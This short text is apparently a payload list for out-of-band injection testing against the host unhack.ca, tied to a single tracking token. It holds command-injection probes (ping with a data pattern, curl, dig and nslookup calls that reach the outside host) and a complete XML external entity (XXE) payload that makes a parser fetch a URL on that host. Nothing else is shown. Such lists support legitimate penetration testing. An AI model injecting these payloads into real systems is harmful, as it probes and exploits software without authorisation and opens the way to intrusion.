$ ping -c1 -p 00fba1d54e3098c4bea43fc9c834b100 unhack.ca
 

$ curl http://unhack.ca/p/fba1d54e3098c4bea43fc9c834b1
 

$ dig fba1d54e3098c4bea43fc9c834b1 @unhack.ca
 

$ dig fba1d54e3098c4bea43fc9c834b1.ns.unhack.ca
 

C:\> nslookup fba1d54e3098c4bea43fc9c834b1 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fba1d54e3098c4bea43fc9c834b1">]>
    <foo>&xxe;</foo>